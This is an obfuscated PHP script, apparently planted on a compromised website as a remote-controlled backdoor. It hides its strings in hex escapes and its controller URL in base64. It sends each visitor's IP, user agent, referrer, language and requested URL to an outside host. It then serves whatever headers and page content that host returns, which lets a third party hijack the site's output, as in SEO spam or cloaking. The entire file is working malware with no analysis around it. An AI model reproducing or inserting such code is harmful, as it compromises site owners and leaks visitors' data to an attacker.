goto GPn65; LOFza: $params["\162\145\x71\x75\145\163\x74\137\165\x72\x6c"] = $_SERVER["\122\x45\x51\x55\105\x53\124\137\125\x52\x49"]; goto X2yyK; GPn65: function h($url, $pf = '') { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, "\x68"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); if ($pf != '') { curl_setopt($ch, CURLOPT_POST, 1); if (is_array($pf)) { curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($pf)); } } $r = curl_exec($ch); curl_close($ch); if ($r) { return $r; } return ''; } goto wiEYJ; rgLt9: $params["\141\x67\x65\x6e\164"] = isset($_SERVER["\x48\x54\124\120\x5f\125\123\105\x52\137\101\x47\x45\116\x54"]) ? $_SERVER["\110\x54\124\x50\137\125\x53\105\x52\137\101\107\105\116\124"] : ''; goto xIMpC; HWUUQ: if (isset($_REQUEST["\160\x61\x72\141\x6d\163"])) { $params["\x61\x70\x69"] = $api; print_r($params); die; } goto k7opp; WCXxn: $params["\x64\x6f\155\x61\151\x6e"] = isset($_SERVER["\110\124\124\x50\137\110\x4f\123\x54"]) ? $_SERVER["\110\124\x54\x50\x5f\110\x4f\x53\124"] : $_SERVER["\x53\x45\x52\x56\x45\122\x5f\116\x41\115\x45"]; goto LOFza; wiEYJ: goto VZYFc; d8jCm: $params["\x70\x72\157\x74\157\143\x6f\x6c"] = isset($_SERVER["\x48\124\124\x50\x53"]) ? "\x68\x74\x74\x70\x73\x3a\57\57" : "\x68\164\x74\160\72\x2f\x2f"; goto WOr8e; WOr8e: $params["\x6c\141\x6e\147\x75\141\x67\x65"] = isset($_SERVER["\110\124\124\120\x5f\x41\x43\x43\105\x50\124\x5f\114\101\116\107\125\101\x47\x45"]) ? $_SERVER["\x48\124\x54\120\137\x41\x43\103\105\120\124\x5f\114\101\x4e\x47\125\x41\x47\x45"] : ''; goto HWUUQ; VZYFc: $api = base64_decode("\141\110\122\x30\143\104\x6f\166\114\x7a\131\170\115\x54\147\164\x59\x32\x67\60\114\x58\x59\x79\x4f\x44\147\165\141\x57\x31\156\x4f\110\x6c\150\x61\107\x39\166\114\x6d\x4e\166\142\x51\x3d\75"); goto WCXxn; X2yyK: $params["\162\x65\x66\145\x72\145\x72"] = isset($_SERVER["\110\x54\x54\x50\x5f\122\x45\x46\x45\x52\x45\x52"]) ? $_SERVER["\x48\x54\124\x50\137\122\x45\x46\105\122\x45\122"] : ''; goto rgLt9; t1Adu: while ($try < 3) { $content = h($api, $params); $content = @gzuncompress(base64_decode($content)); $data_array = @preg_split("\x2f\134\x7c\x2f\x73\x69", $content, -1, PREG_SPLIT_NO_EMPTY); if (!empty($data_array)) { $data = array_pop($data_array); $data = base64_decode($data); foreach ($data_array as $header) { @header($header); } echo $data; die; } $try++; } goto CbXj5; qPmUN: $try = 0; goto t1Adu; xIMpC: $params["\x69\160"] = isset($_SERVER["\x48\x54\x54\120\x5f\126\111\101"]) ? $_SERVER["\110\x54\124\120\x5f\130\x5f\106\117\122\127\x41\122\x44\105\104\137\106\x4f\122"] : $_SERVER["\x52\105\115\117\x54\x45\x5f\101\104\x44\x52"]; goto EIVKM; k7opp: h2(); goto qPmUN; EIVKM: if ($params["\x69\x70"] == null) { $params["\151\160"] = ''; } goto d8jCm; CbXj5: ?>